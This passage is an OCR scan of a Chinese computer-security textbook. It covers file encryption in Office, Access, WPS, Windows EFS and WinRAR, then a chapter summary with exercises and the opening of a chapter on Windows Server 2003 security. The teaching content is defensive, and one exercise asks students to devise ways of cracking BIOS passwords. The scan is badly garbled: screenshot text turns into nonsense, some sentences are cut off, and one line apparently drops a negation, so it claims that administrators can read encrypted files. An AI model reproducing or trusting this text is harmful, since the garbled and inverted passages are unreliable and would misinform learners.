加 密 这 3 种 类 型 的 文件 ,方法 相似 ,可 以 通过 下 面 两 种 途径 不 定期 实现 。 

方法 一 : 选项 设置 。 在 Office 应 用 软件 的 窗口 中 , 单 击 “ 工 具 ” 菜 单 ,选择 “选项 ”命令 ， 
弹出 “选项 ”对 话 框 ,选择 “安全 性 ”选项 卡 ( 如 图 4-25 所 示 ) ,设置 好 “打开 文件 时 的 密码 ”和 
“修改 文件 时 的 密码 ”后 ,确定 退出 ,然后 保存 当前 文档 。 再 次 打开 文件 和 修改 文件 时 ,都 需 
要 有 正确 的 密码 才能 进行 。 


拼写 和 语法 ‖ 修订 | 用 户 信息 ‖ 兼容 性 ‖ 中 文 版 式 | 文件 位 置 | 
| 视图 | 常规 | 编辑 | 打印 | 保存 | 安全 性 
此 文档 的 文件 加 密 选 项 
打开 文件 时 的 密码 @) :| 高 级 这 ) 
| 此 文档 的 文件 共享 选项 
修改 文件 时 的 密码 轴 。 |#kykkkkkkk4 
回 建议 以 只 读 方式 打开 文档 邓 ) 
| | 数字 签名 @). . [保护 文档 外 ... ] 
隐秘 选项 
保存 时 从 文件 属性 中 删除 个 人 信息 全 ) 
打印 、 保 存 或 发 送 包含 修订 或 批注 的 文件 之 前 给 出 警 告 吧 ) 
| 存储 用 于 增强 合并 精确 性 的 随机 编号 代 ) 
回 打开 或 保存 时 标记 可 见 Cr) 
宏 安 全 性 


调整 安全 级 别 册 打开 可 能 包含 宏 病 毒 的 文件 ,并 指 “[ 示 去 
总 亲人 膏 各 的 实 自 建 者 姓 当 。 宏 安 全 性 (8). 


克 和 | [_ 取 滑 
图 4-25 文档 加 密 方法 一 


方法 二 : 保存 加 密 。 对 打开 的 文件 进行 “保存 ?或 “另存 为 ?操作 时 ,打开 ”另存 为 "对 话 
框 , 单 击 工 具 栏 上 的 “工具 ”菜单 右 侧 的 下 拉 按 钮 ,在 随后 弹出 的 下 拉 列 表 中 ,选择 “安全 措 
施 ” 选 项 ,弹出 “安全 性 ”对 话 框 ,设置 好 “打开 文件 时 的 密码 ”和 “修改 文件 时 的 密码 ”后 ,确定 
退出 ,然后 再 保存 文档 。 如 图 4-26 所 示 。 


。 143 。 


| | 安全 性 
此 文档 的 文件 加 密 选 项 

中 打开 文件 时 的 密码 四 ) : | [ 识 角 多 ... ] 

| 此 立 档 的 文件 共享 选项 

修改 文件 时 的 密码 遇 : | | 

口 建议 以 只 读 方 式 打开 文档 E) 

中 | 隐私 选项 

保存 时 从 文件 属性 中 删除 个 人 信息 @) 

打印 、 保 存 或 发 送 包 全 修订 或 批注 的 文件 之 前 给 出 警 省 中 ) 

司 存储 用 于 增强 合并 精确 性 的 随机 编号 (I) 

司 打开 或 保存 时 标记 可 见 &) 

宏 安 全 性 


rr 入 


图 4-26 文档 加 密 方法 二 


(2) 对 Access 文件 的 加 密 。 

启动 Access 执行“ 文件? 上 打开 ?命令 ,弹出 “打开 ”对 话 框 , 选 中 需要 加 密 的 数据 库 文 
件 , 然 后 按 右 下 角 “ 打 开 ” 按 钮 右 侧 的 下 拉 按 钮 ,在 随后 弹出 的 下 拉 列 表 中 ,选择 “以 独占 方式 
打开 ?选项 ,打开 相应 的 数据 库 文 件 。 执 行 “ 工 具 ”| ”安全 ”| ”设置 数据 库 密 码 ” 命 令 ,弹出 * 设 
置 数据 库 密码 ?对 话 框 (如 图 4-27 所 示 ) ,设置 好 密码 后 ,确定 返回 , 即 可 对 打开 的 数据 库 文 
件 进 行 加 密 。 


局 我 的 文档 
IESDstore 

局 wy Fetion file 
局 wy ma Files 

到 图 片 收 藏 


文件 各 @D; | 
| 文件 类 型 人 D); [icrosoft 0ffice Access 人 kmdb: adp;# nde;#.m | 


以 只 读 方式 打开 @) 
以 独占 方式 打开 Q) | 
以 独占 只 读 方 式 打开 包 ) 


图 4-27 Access 加 密 


2. WPS 加 密 

WPS 作为 国内 应 用 比较 广泛 的 办 公 软 件 之 一 ,提供 了 两 种 密码 保护 , 即 “ 普 通 型 加 密 ” 
和 “绝密 型 加 密 ”。 在 WPS 2000 的 说 明 书 中 谈 到 , 当 用 户 遗 忘 文档 密码 之 后 , 若 文档 采用 的 
是 “普通 型 加 密 ” 方 式 , 则 可 向 金山 公司 的 技术 人 员 求 救 , 由 他 们 帮 你 找 出 遗忘 的 密码 ; 若 文 
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档 采 用 的 是 “绝密 型 加 密 ? 方 式 , 密 码 遗 忘 后 根本 无 法 解密 。 下 面 就 来 介绍 如 何 为 文档 设置 
密码 。 
首先 ,新 建立 一 个 文档 ,然后 对 其 进行 编辑 ,在 保存 的 时 候 , 勾 选 对 话 框 下 边 的 “EE 文件 
加 密 ” 选 项 ,并 在 弹出 的 对 话 框 中 设置 加 密 类 型 为 普通 型 加 密 还 是 绝密 型 加 密 , 然 后 填写 相 
应 的 密码 (如 图 4-28 所 示 )。 
x 可 后 | 全 | 到 | 历 国 


文件 各 四 ; 。” 乓 文 件 保存 {8) | 
保存 类 型 四， |]tPs 文件 (x. WP5) =| 取消 | 


a 厅 EE 文件 加 密 。 主 密 码 ， 工 摘要 
| i a ET EE 


和 置 密码 


图 4-28 WPS 2000 文档 设置 密码 对 话 框 


4.8.2 目录 和 文件 安全 性 


1. 加 密 文件 系统 (EFS) 

加 密 文件 系统 EFS (encrypting file system) 是 一 种 静态 文件 加 密 保 护 措施 , 是 
Windows 2000, Windows XP Professional, Windows Server 2003 等 的 NTFS 文件 系统 的 一 
个 组 件 (Windows XP Home 版 本 不 包含 EFS 功能 ) 。 

EFS 加 密 是 基于 公 钥 策略 的 。 在 使 用 EFS 加 密 一 个 文件 或 文件 夹 时 ,系统 首先 会 生成 
一 个 由 伪 随 机 数组 成 的 FEK(file encryption key, 文 件 加 密 钥匙 ) ,然后 将 利用 FEK 和 数据 
扩展 标准 X 算法 创建 加 密 后 的 文件 ,并 把 它 存储 到 硬盘 上 ,同时 删除 未 加 密 的 原始 文件 。 
随后 系统 利用 你 的 公 钥 加 密 FEK ,并 把 加 密 后 的 FEK 存储 在 同一 个 加 密 文件 中 。 而 在 访 
问 被 加 密 的 文件 时 ,系统 首先 利用 当前 用 户 的 私 钥 解密 FEK ,然后 利用 FEK 解密 出 文件 。 
在 首次 使 用 EFS 时 ,如 果 用 户 还 没有 公 钥 / 私 钥 对 (统称 为 密 钥 ), 则 会 首先 生成 密 钥 ,然后 


加 密 数 据 。 如 果 你 登录 到 了 域 环境 中 , 密 钥 的 生成 依赖 于 域 控制 器 ,否则 它 就 依赖 于 本 地 
机 器 。 


使 用 EFS 加 密 文件 或 者 文件 夹 时 需要 注意 : 

。 只 有 NTFS 卷 上 的 文件 或 者 文件 夹 才 能 被 加 密 。 

。 如 果 把 未 加 密 的 文件 复制 到 具有 加 密 属性 的 文件 夹 中 ,这 些 文件 将 会 被 自动 加 密 。 

。 被 EFS 加 密 过 的 数据 不 能 在 Windows 中 直接 共享 。 

。 如 果 通 过 网 络 传输 经 EFS 加 密 过 的 数据 ,这 些 数据 在 网 络 上 将 以 明文 的 形式 传输 。 
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2. 使 用 EFS 加 密 文 件 或 文件 夹 

加 密 文件 或 文件 夹 的 步骤 如 下 。 

(1) 在 资源 管理 器 NTFS 格式 的 分 区 上 (不 能 是 FAT 或 者 FAT32 格式 ) 找 到 并 选择 要 
加 密 的 文件 或 文件 夹 , 然 后 右 击 鼠 标 ,在 弹出 的 菜单 中 选择 “属性 ”命令 ,在 打开 的 对 话 框 中 
单 击 “ 常 规 ” 标 签 , 如 图 4-29 所 示 。 

(2) 单 击 “ 高 级 ”按钮 ,打开 如 图 4-30 所 示 的 对 话 框 。 


再 基因 
Ee 请 选择 用 于 该 文件 夹 的 设置 。 
吕 妆 和 ， 系统 会 询问 您 是 否 将 这 些 更 改 同时 应 用 于 
有 子 文件 夹 和 文件 。 
大 小 31.8 有 (33, 433, 926 字 节 ) 存档 和 编制 索引 属性 
| 占用 空间 : 。 31.8 lp (33, 435, 648 字 节 ) 可 以 存档 文件 夹 4) 
包含: 下 人 习 为 了 快速 搜索 ， 多 许 索引 服务 编制 该 文 件 夹 的 索引 I) 
压缩 或 加 密 属 性 
创建 时 间 : 2010 年 6 月 30 日 ，10:52:44 Ea 
属性 司 众 读 克 六 Cav ] | 拓 禾 内容 以 全 保护 数 据 下 】 
| a 而 
图 4-29 文件 属性 图 4-30 “高 级 属性 ”对 话 框 


(3) 勾 选 “加 密 内 容 以 便 保 护 数据 ” 复 选 框 ,然后 单 击 “ 确 定 ” 按 钮 返回 如 图 4-31 所 示 的 
对 话 框 。 再 单 击 “ 确 定 ” 按 钮 。 
注意 ,如 果 加 密 的 是 一 个 文件 夹 , 在 首次 加 密 文件 或 文件 夹 时 ,系统 会 弹出 如 图 4-31 所 
示 的 “确认 属性 更 改 ” 对 话 框 ,该 对 话 框 中 的 选项 设置 将 影响 到 今后 的 加 密 操作 。 在 这 个 对 
话 框 中 有 两 个 单 选项 可 以 选择 (如 果 文 件 夹 是 空 的 , 则 不 会 出 现 提示 )。 
。 如 果 选 中 * 仅 将 更 改 应 用 于 该 文件 夹 " 单 选 按钮 ,那么 该 文件 夹 中 现 有 的 所 有 文件 和 
子 文件 夹 都 不 会 被 加 密 , 但 是 ,今后 添加 到 该 文件 夹 中 的 所 有 文件 和 子 文件 夹 在 添 
加 时 将 被 自动 加 密 。 
。 如 果 选 中 “将 更 改 应 用 于 该 文件 夹 、 子 文件 夹 和 文件 " 单 选 按 钮 ,那么 该 文件 夹 中 现 有 
的 所 有 文件 和 子 文件 夹 以 及 今后 添加 到 该 文件 夹 中 的 文件 和 子 文件 夹 都 将 被 加 密 。 
如 果 加 密 的 是 单一 文件 ,再 单 击 如 图 4-29 所 示 的 对 话 框 中 的 “确定 ”按钮 后 ,系统 弹出 
的 是 如 图 4-32 所 示 的 “加 密 警 告 ” 对 话 框 。 在 此 对 话 框 中 同样 有 两 个 单 选项 可 供 选 择 , 但 是 
与 图 4-31 所 示 的 不 一 样 ,可 以 根据 需要 进行 选择 。 


您 已 经 选择 对 属性 进行 以 下 更 改 您 局 选 近 要 加 密 一 个 不 在 加 密 文 件 严 中 的 文件 。 修 改 文件 
De 人 \ ”时 会 将 其 解 灾 。 


默认 情况 下 保 文件 夹 中 的 文件 都 将 被 加 密 ， 所 
区 小 且 虹桥 
您 希望 做 什么 ? 


ol 
〇 只 加 密 文件 @@) 


只 将 该 更 改 应 用 于 该 文件 来， 还 是 同时 应 用 于 所 有 子 文件 夹 和 文件 ? 


癌 始终 只 加 要 文件 也 ) 


图 4-31 “确认 属性 更 改 ” 对 话 框 图 4-32 
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“加 密 警 告 " 对 话 框 


。 如 果 选 中 “加 密 文 件 及 其 父 文件 夹 ” 单 选项 , 则 今后 添加 到 该 文件 夹 中 的 文件 和 子 文 
件 夹 在 添加 时 都 将 被 自动 加 密 。 

。 如 果 选 中 “只 加 密 文 件 ” 单 选项 , 则 只 会 对 所 选 文件 进行 加 密 。 

选 好 后 再 单 击 相 应 对 话 框 中 的 “确定 ”按钮 ,完成 文件 或 者 文件 夹 的 加 密 过 程 ,加 密 后 的 
文件 或 者 文件 夹 以 绿色 的 字体 显示 。 

除了 在 资源 管理 器 中 进行 加 密 外 ,还 可 以 在 命令 提示 符 下 进行 。 方 法 如 下 : 

在 “运行 ”窗口 中 输入 cmd 命令 进入 命令 提示 符 状态 ,可 在 命令 提示 符 下 输入 : cipher / 
e /s :“ 加 密 文件 或 者 文件 夹 路 径 ” 命 令 , 按 Enter 键 后 即 可 对 所 输入 的 文件 或 者 文件 夹 进 
行 加 密 。 要 显示 有 关 cipher 参数 的 具体 说 明 可 在 命令 提示 符 下 输入 “cipher /?” 命 令 。 

3. WinRAR 压缩 加 密 

WinRAR 是 常用 的 压缩 /解压 缩 程序 , 除 此 以 外 还 常常 把 WinRAR 当 作 加 密 软 件 来 使 
用 ,在 压缩 文件 的 时 候 设 置 口令 就 可 以 达到 保护 数据 的 目的 。 

使 用 WinRAR 压缩 加 密 文 件 的 步骤 如 下 : 

(1) 打开 WinRAR ,在 其 中 找到 要 加 密 的 文件 ,然后 选择 “添加 文件 到 压缩 文件 中 ” 命 
令 ,打开 “档案 文件 名 字 和 参数 ”设置 对 话 框 。 

(2) 设置 密码 。 在 打开 的 “压缩 文件 名 和 参数 ”窗口 中 单 击 “ 高 级 ”标签 ,然后 单 击 “ 设 置 
密码 ”按钮 ,并 在 打开 的 “ 带 密码 压缩 "窗口 中 输入 密码 , 单 击 “ 确 定 ” 按 钮 返回 “压缩 文件 名 
和 参数 ”窗口 ,再 次 单 击 “ 确 定 ” 按 钮 后 即 可 把 所 选 文件 加 密 起 来 ,如 图 4-33 所 示 。 


月 讨 第 文件 名 和 地 笋 


[ 富 规 | 高 级 | 文件 | 备份 | 时 间 | 注释 | 
NTFS 选项 恢复 记录 (E) 
回 保存 文件 安全 数据 @) om 
保存 文件 流 数据 ([) = 


输入 密码 钙 ) 
Ee 
再 次 输入 密码 以 确认 到 ) 
bot) 


口 显示 密码 @) 
口 加 密 文件 名 0 


| 确定 ] 取消 才 助 
图 4-33 使 用 WinRAR 加 密 文件 


4.9 本 章 小 结 


计算 机 及 网 络 系统 对 资源 的 一 般 保护 措施 主要 有 两 种 : 对 访问 系统 的 用 户 进行 识别 与 
验证 访问 系统 和 决定 用 户 对 某 一 系统 资源 可 进行 何 种 访问 ( 读 、 写 ,修改 .运行 等 ) 。 
为 了 评估 一 个 计算 机 系统 的 安全 性 能 ,美国 国防 部 按 处 理 信息 的 等 级 和 应 采用 的 相应 
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措施 ,将 计算 机 安全 分 为 : A,B,C,D 等 8 个 级 别 , 共 27 条 评估 准则 。 从 最 低 等 级 D 等 开 
始 , 到 A 等 为 止 , 随 着 安全 等 级 的 逐渐 提高 ,系统 的 可 信 度 随 之 增加 ,风险 逐渐 减少 。 

为 了 提高 计算 机 系统 的 安全 性 ,应 结合 计算 机 开机 口令 的 开机 验证 机 制 (BIOS 密码 ) 
和 Windows 本 身 安全 机 制 来 配置 计算 机 系统 。 对 于 个 人 计算 机 系统 ,启动 机 制 . 开 机 验证 
机 制 、 防 止 非法 用 户 使 用 计算 机 等 是 由 计算 机 的 BIOS(base input/output system) 程 序 来 管 
理 的 。BIOS 口令 分 为 CMOS 开机 口令 和 BIOS 设置 口令 。 应 熟练 掌握 BIOS 口令 的 安全 
机 制 .配置 方法 和 缺陷 及 防范 措施 。 

无 线 网 络 和 虚拟 局 域 网 的 应 用 日 趋 广泛 ,关于 它们 的 安全 问题 及 常用 的 安全 技术 也 越 
来 越 受 到 重视 。 保 护 网 络 的 核心 问题 是 保护 数据 ,因此 ,对 于 数据 库 系统 的 安全 性 及 安全 技 
术 也 是 需要 掌握 的 。 

对 于 个 人 操作 系统 的 安全 性 ,以 Windows XP 和 Windows 7 为 例 进 行 了 讲解 ,包括 
登录 与 用 户 管理 .共享 资源 和 远程 管理 .注册 表 管 理 等 ,分 析 了 常见 的 系统 漏洞 及 防范 
措施 。 

另外 ,针对 办 公 软 件 和 文件 的 保密 问题 ,也 进行 了 讲解 。 


练 习 题 


基础 练习 题 


1. 防止 非法 用 户 使 用 计算 机 系统 ,对 计算 机 实体 进行 访问 控制 一 般 采 用 什么 样 的 
措施 ? 
. 存 取 控制 分 哪 几 部 分 内 容 ? 在 计算 机 中 , 存 取 控 制 控制 计算 机 的 内 容 主 要 有 哪些 ? 
.什么 是 识别 和 验证 ,计算 机 系统 采取 的 主要 验证 手段 是 什么 ? 
. 评估 一 个 计算 机 系统 安全 性 能 分 哪 几 个 级 别 ? 每 个 级 别 的 评估 准则 是 什么 ? 
. 个 人 计算 机 的 开机 认证 机 制 是 什么 ? 
. 写 出 BIOS 密码 认证 机 制 的 内 容 , 它 是 怎样 保护 计算 机 的 ? 
.常见 的 数据 库 攻 击 有 哪些 ?数据 库 安全 技术 有 了 哪些 ? 
.VPN 的 优势 和 不 足 是 什么 ? 
. Windows XP 中 有 哪 两 种 共享 模式 ,有 什么 异同 ? 
10. 数据 库 恢复 的 技术 有 哪些 ? 
11. EFS 文件 加 密 的 原理 是 什么 ? 


实践 题 


1. 为 什么 说 BIOS 的 开机 密码 保护 机 制 较 差 ? 设计 两 种 以 上 破解 BIOS 密码 的 方法 和 
步骤 ,并 说 出 这 些 破解 方法 的 前 提 条 件 。 
2. 利用 Windows 操作 系统 ,组 建 简单 的 VPN 网 络 。 
3. 组 建 一 个 具有 AP 的 小 型 无 线 网 络 。 
4. 对 Windows XP 系统 的 文件 进行 加 密 , 并 使 用 多 用 户 登 录 进 行 查看 ,总 结 Windows 
XP 系统 多 用 户 和 文件 加 密 的 原理 。 
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5. 配置 Windows XP 系统 的 远程 桌面 访问 服务 器 ,并 使 用 客户 端 进行 远程 桌面 连接 
访问 。 
讨论 与 思考 题 ” 

1. 请 说 说 你 对 BIOS 的 保护 密码 机 制 的 看 法 ,并 写 出 对 BIOS 的 保护 密码 机 制 缺陷 的 


改进 和 方法 措施 。 
2， 有 哪些 方式 可 以 提高 无 线 网 的 安全 性 ? 
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第 5 章 网 络 操作 系统 的 安全 与 保护 措施 


作为 网 络 操作 系统 或 服务 器 操作 系统 ,高 性 能 、 高 可 靠 性 和 高 安全 性 是 其 必 备 要 素 ,万 
其 是 日 趋 复杂 的 企业 应 用 和 Internet 应 用 ,对 网 络 操作 系统 的 安全 性 提出 了 更 高 的 要 求 。 
微软 的 企业 级 操作 系统 中 , Windows Server 2003 则 是 依据 . Net 架构 对 NT 技术 做 了 重要 
发 展 和 实质 性 改进 ,凝聚 了 微软 多 年 来 的 技术 积累 。Windows Server 2003 名 称 虽 然 沿 袭 
了 Windows 家 族 的 习惯 用 法 ,但 从 其 提供 的 各 种 内 置 服务 以 及 重新 设计 的 内 核 程 序 来 看 已 
经 与 Windows 前 续 版 本 有 了 本 质 的 区 别 。 

Windows Server 2003 也 存在 着 一 些 安全 漏洞 。 如 果 不 了 解 这 些 安全 漏洞 ,不 采取 相 
应 的 安全 对 策 和 防范 措施 ,就 会 使 系统 完全 暴露 在 黑客 的 人 侵 范 围 之 内 ,随时 随地 遭受 毁灭 
性 攻击 。 因 此 ,在 使 用 Windows Server 2003 等 网 络 操作 系统 时 ,一定 要 熟悉 该 操作 系统 的 
安全 基础 .登录 机 制 、. 安 全 策略 .防范 措施 。 这 样 ,才能 降低 遭受 威胁 和 攻击 的 风险 。 

本 章 主 要 介绍 Windows Server 2003,Windows Server 2008 等 系统 的 安全 ,包括 以 下 几 
部 分 内 容 : 

。 Windows Server 2003 的 网 络 模型 ; 

。 Windows Server 2003 的 活动 目录 与 账户 管理 ; 

。 Windows Server 2003 的 访问 控制 机 制 与 权限 设置 ; 

。 Windows Server 2003 的 数据 备份 与 恢复 措施 ; 
Windows Server 2003 的 缺陷 及 防范 措施 ; 
Windows Server 2008 的 安全 性 ; 
Windows Server 2008 的 安全 配置 。 


5.1 网 络 操作 系统 安全 性 概述 


网 络 操作 系统 (network operating system,NOS) 是 为 网 络 用 户 提 供 所 需 的 各 种 服务 软 
件 和 有 关 规 程 的 集合 ,并 使 网 络 上 各 种 计算 机 能 方便 而 有 效 地 共享 网 络 资源 。 网 络 操作 系 
统 除 了 应 具有 通常 操作 系统 的 处 理 机 管理 ,存储 器 管理 .设备 管理 和 文件 管理 功能 外 ,还 应 
具有 以 下 两 大 功能 。 

(1) 提供 高 效 可 靠 的 网 络 通信 和 能力。 

(2) 提供 多 种 网 络 服务 功能 ,如 远程 作业 录入 并 进行 处 理 的 服务 功能 ,文件 传输 服务 功 
能 ,电子 邮件 服务 功能 ,远程 打印 服务 功能 等 。 

总 而 言 之 ,要 为 用 户 提供 访问 网 络 中 计算 机 各 种 资源 的 服务 。 

目前 常见 的 网 络 操作 系统 主要 有 以 下 3 类 。 

(1) Windows 类 : 微软 的 网 络 操作 系统 主要 是 Windows 系列 ,主要 有 Windows NT/ 
2000, Windows Server 2003/Advanced Server 2003 ,以 及 最 新 的 Windows Server 2008 等 。 

(2) NetWare: NetWare 网 络 服务 器 对 无 盘 工 作 站 和 游戏 的 支持 较 好 ,常用 于 教学 网 和 
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游戏 厅 。 目 前 这 种 操作 系统 的 市 场 占有 率 呈 下 降 趋 势 。 
(3) UNIX/Linux: UNIX 网 络 操作 系统 历史 悠久 ,支持 网 络 文件 系统 服务 ,系统 稳定 
和 安全 性 能 都 较 好 ,但 由 于 它 多 数 是 以 命令 方式 来 进行 操作 的 ,因此 不 容易 掌握 ,特别 对 于 
初级 用 户 就 更 难以 掌握 。Linux 最 大 的 特点 是 开放 源 代码 ,并 可 得 到 许多 免费 应 用 程序 。 
目前 有 中 文 版 本 的 Linux, 如 RedHat( 红 帽子 ) ,红旗 Linux 等 ,其 安全 性 和 稳定 性 较 好 。 
鉴于 Windows 系列 操作 系统 应 用 比较 广泛 ,本 章 主要 对 Windows 系列 操作 系统 进行 


讲解 。 
网 络 操作 系统 在 安全 性 上 要 求 比 个 人 操作 系统 更 高 ,其 安全 性 管理 也 更 为 完善 。 主 要 
体现 在 以 下 几 个 方面 。 


1. 用 户 账 号 安全 性 

使 用 网 络 操作 系统 的 每 一 个 用 户 都 有 一 个 系统 账号 和 有 效 的 口令 字 。 随 着 协议 分 析 仪 
的 广泛 应 用 , 非 加 密 口 令 字 具有 明显 缺陷 ,协议 分 析 仪 可 以 检测 局 域 网 中 的 每 一 个 信息 包 ， 
很 容易 查看 到 用 户 工 作 站 在 注册 过 程 中 所 发 送 的 口令 字 ,为 此 必须 在 用 户 工作 站 发 送 口令 
字 之 前 ,对 口令 字 加 密 。 

2， 时 间 限 制 

系统 管理 员 对 每 个 用 户 的 注册 时 间 进 行 限定 ,限定 方式 以 一 定 的 时 间 间 隔 为 单位 ,如 半 
小 时 间隔 方式 ,星期 的 间隔 方式 等 。 时 间 限 制 功能 主要 应 用 在 要 求 具有 严格 安全 机 制 的 网 
络 环 境 中 。 

3. 站 点 限制 

系统 管理 员 对 每 一 用 户 注册 的 站 点 进行 限定 。 站 点 限定 为 每 个 用 户 只 能 在 指定 物理 地 
址 的 工作 站 上 进行 注册 。 这 样 就 阻止 了 企图 从 其 他 区 域 使 用 并 不 同 于 自己 的 工作 站 而 进行 
注册 ,在 一 定 程度 上 确保 安全 性 。 

4. 磁盘 空间 限制 

系统 管理 员 对 每 个 用 户 允 许 使 用 的 磁盘 服务 器 磁盘 空间 加 以 限定 ,以 防止 可 能 出 现 的 
某 些 用 户 无 限制 侵占 服务 器 磁盘 的 情况 发 生 , 确 保 其 他 用 户 磁 盘 空 间 的 安全 性 。 

5, 传输 介质 的 安全 性 

由 于 局 域 网 的 传输 介 将 数据 读 走 ,因此 网 络 
传输 介质 的 安全 性 也 是 十 分 重要 的 ， 为 此 ,在 一 些 机 密 环 境 中 ,可 以 将 网 络 电缆 安装 在 导管 
内 ,防止 由 于 电磁 辐射 而 使 数据 被 窍 听 。 也 可 将 网 络 电缆 线 预 埋 在 混凝土 内 ,避免 对 网 络 电 
缆 的 物理 挂 接 。 从 安全 性 考虑 ,网 络 传输 介质 应 是 光缆 ,因为 对 光缆 的 窃听 非常 困难 。 

6. 加 密 

对 数据 库 和 文件 加 密 是 保证 文件 服务 器 数据 安全 性 的 重要 手段 。 一 般 在 关闭 文件 时 加 
密 ,在 打开 文件 时 解密 。 加 密 后 具有 超级 用 户 特 权 的 网 络 管理 员 也 能 读 取 服务 器 上 的 目录 
和 文件 。 很 多 数据 库 系 统 都 具有 对 数据 文件 进行 加 密 的 功能 。 平 常 所 遇 到 的 许多 加 密 程 序 
是 与 某 些 软件 工具 一 起 提供 的 。 

7. 审计 

网 络 的 审计 功能 可 以 帮助 网 络 管理 员 对 那些 企图 对 网 络 操作 系统 实行 窃听 行为 的 用 户 
进行 鉴别 。 当 对 网 络 运行 机 理 熟 练 的 某 用 户 通过 多 次 重复 输入 口令 字 来 试探 其 他 用 户口 令 
字 时 ,很 多 网 络 就 采取 一 定 措施 来 制止 这 种 非法 行为 。 比 如 当 某 用 户 重复 输入 口令 字 ,其 失 
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败 次 数 达到 一 定 次 数 后 ,就 将 该 用 户 账户 封锁 起 来 ,并 对 口令 字 尝 试 操作 进行 记 账 ,将 其 中 
一 些 审计 信息 直接 送 往 服务 器 控制 台 ,另外 一 些 审计 信息 保存 在 审计 跟踪 文件 中 。 


5.2 Windows Server 2003 系统 的 安全 概述 


Microsoft 公司 于 2003 年 4 月 正式 推出 了 新 一 代 网 络 操作 系统 Windows Server 2003， 
它 的 主要 功能 就 是 用 于 构建 Internet/Intranet 上 的 网 络 服务 。 Windows Server 2003 是 一 
个 多 任务 操作 系统 ,其 服务 器 角色 包括 文件 和 打印 服务 器 、Web 服务 器 和 Web 应 用 程序 服 
务 器 .邮件 服务 器 终端 服务 器 .远程 访问 /虚拟 专用 网 络 (VPN) 服 务 器 .目录 服务 器 、 域 名 
系统 (DNS) ,动态 主机 配置 协议 (DHCP) 服 务 器 和 Windows Internet 命名 服务 (WINS) 等 。 

Windows Server 2003 共有 4 个 不 同 的 版 本 : 标准 版 (Standard Edition)、 企 业 版 
(Enterprise Edition) ,数据 中 心 版 (Datacenter Edition)、Web 版 (Web Edition)。 

如 何 提高 Windows Server 2003 系统 的 安全 性 和 稳定 性 是 使 用 好 该 系统 应 该 考虑 的 一 
个 重要 问题 。 下 面 从 身份 验证 .访问 控制 .审核 .Internet 协议 安全 性 和 防火 墙 技术 等 多 方 
面 对 Windows Server 2003 的 安全 机 制 做 初步 分 析 。 只 有 充分 了 解 这 些 安全 机 制 , 才 能 更 
好 地 使 用 该 系统 。 

1. 身份 验证 

身份 验证 是 各 种 系统 对 安全 性 的 一 个 基本 要 求 , 它 主要 用 来 对 任何 试图 访问 系统 的 用 
户 身 份 进行 确认 。Windows Server 2003 将 账户 信息 保存 在 SAM 数据 库 中 ,用 户 登 录 时 输 
入 的 账号 和 密码 需要 在 SAM 数据 库 中 查找 和 匹配 。 另 外 ,在 Windows Server 2003 系统 中 
可 以 使 用 账户 策略 设置 中 的 “密码 策略 ?来 进行 设置 。 通 过 设置 可 以 提高 密码 的 破解 难度 ， 
提高 密码 的 复杂 性 , 增 大 密码 的 长 度 , 提 高 更 换 频率 等 。Windows Server 2003 的 身份 验证 
一 般 包 括 交互 式 登录 和 网 络 身 份 验 证 两 方面 内 容 。 在 对 用 户 进行 身份 验证 时 ,根据 要 求 的 
不 同 , 可 使 用 多 种 行业 标准 类 型 的 身份 验证 方法 ,这 些 身 份 验证 方法 包括 以 下 协议 类 型 。 

(1) Kerberos V5 与 密码 或 智能 卡 一 起 使 用 的 用 于 交互 式 登录 的 协议 。 

(2) 用 户 尝试 访问 Web 服务 器 时 使 用 的 SSL/TLS 协议 。 

(3) 客户 端 或 服务 器 使 用 早期 版 本 的 Windows 时 使 用 的 NTLM 协议 。 

(4) 摘要 式 身 份 验证 ,这 将 使 身份 验证 的 凭据 作为 MD5 哈 希 码 或 消息 摘要 在 网 络 上 
传递 。 

(5) Passport 身份 验证 ,用 来 提供 单 点 登录 服务 的 用 户 身 份 验证 服务 。 单 点 登录 是 
Windows Server 2003 身份 验证 机 制 提供 的 重要 功能 之 一 , 它 在 安全 性 方面 提供 了 下 面 两 
个 主要 的 优点 。 

Q@ 对 用 户 而 言 ,使 用 单个 密码 或 智能 卡 可 以 减少 混乱 ,提高 工作 效率 。 

@ 对 管理 员 而 言 ,由 于 管理 员 只 需要 为 每 个 用 户 管理 一 个 账户 ,因此 可 以 减少 域 用 户 
所 要 求 的 管理 。 

2. 访问 控制 

访问 控制 是 实现 用 户 .组 和 计算 机 访问 网 络 上 的 对 象 时 所 使 用 的 安全 机 制 。 权 限 是 访 
问 控制 的 重要 概念 ,权限 定义 了 授予 用 户 或 组 对 某 个 对 象 或 对 象 属性 的 访问 类 型 。 包 括 文 
件 和 文件 夹 的 权限 、 共 享 权限 、 注 册 表 权限 、 服 务 权 限 、 指 派 打 印 机 权限 ,管理 连接 权限 、 
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WMI 权限 活动 目录 权限 等 。 在 默认 的 情况 下 ,Everyone 组 对 大 多 数 的 文件 夹 是 完全 控制 
的 (full control) ,如 果 系 统 的 管理 员 不 进行 修改 , 则 系统 的 安全 性 将 非常 薄弱 。 共 享 权限 的 
使 用 使 得 在 方便 管理 的 同时 ,也 容易 导致 安全 问题 。 尤 其 是 系统 的 默认 共享 (比如 IPC$ ， 
C$ ,ADMIN$ 等 ) 常 常 被 用 来 作为 人 侵 通 道 利用 。 

除了 权限 以 外 ,构成 访问 控制 机 制 的 主要 概念 还 包括 用 户 权 利和 对 象 审查 。 其 中 用 户 
权利 定义 了 授予 网 络 环境 中 的 用 户 和 组 特定 的 特权 和 登录 权利 。 与 权限 不 同 , 用 户 权利 适 
用 于 用 户 账 户 , 而 权限 则 附加 给 对 象 。 对象 审查 则 可 以 审核 用 户 对 对 象 的 访问 情况 。 
Windows Server 2003 默认 权限 比 以 前 的 版 本 更 符合 最 小 特权 原则 ,管理 员 应 当 在 此 基础 
上 根据 需要 严格 设置 权限 和 用 户 权 利 , 使 用 强健 的 访问 控制 列表 来 保护 文件 系统 和 注册 表 
的 安全 。 这 样 做 可 以 有 效 地 限制 .分 割 用 户 对 对 象 进行 访问 时 的 权限 , 既 能 保证 用 户 能 够 完 
成 所 操作 的 任务 ,同时 又 能 降低 事故 、 错 误 或 攻击 对 系统 及 数据 造成 的 损失 ,对 于 系统 安全 
具有 重要 的 作用 。 

3. 审核 策略 

建立 审核 策略 是 跟踪 潜在 安全 性 问题 的 重要 手段 ,并 在 出 现 违反 安全 的 事件 时 提供 证 
据 。 微 软 建议 对 下 面 的 事件 进行 审核 : 系统 事件 类 别 中 的 成 功 和 失败 事件 .策略 更 改 事件 
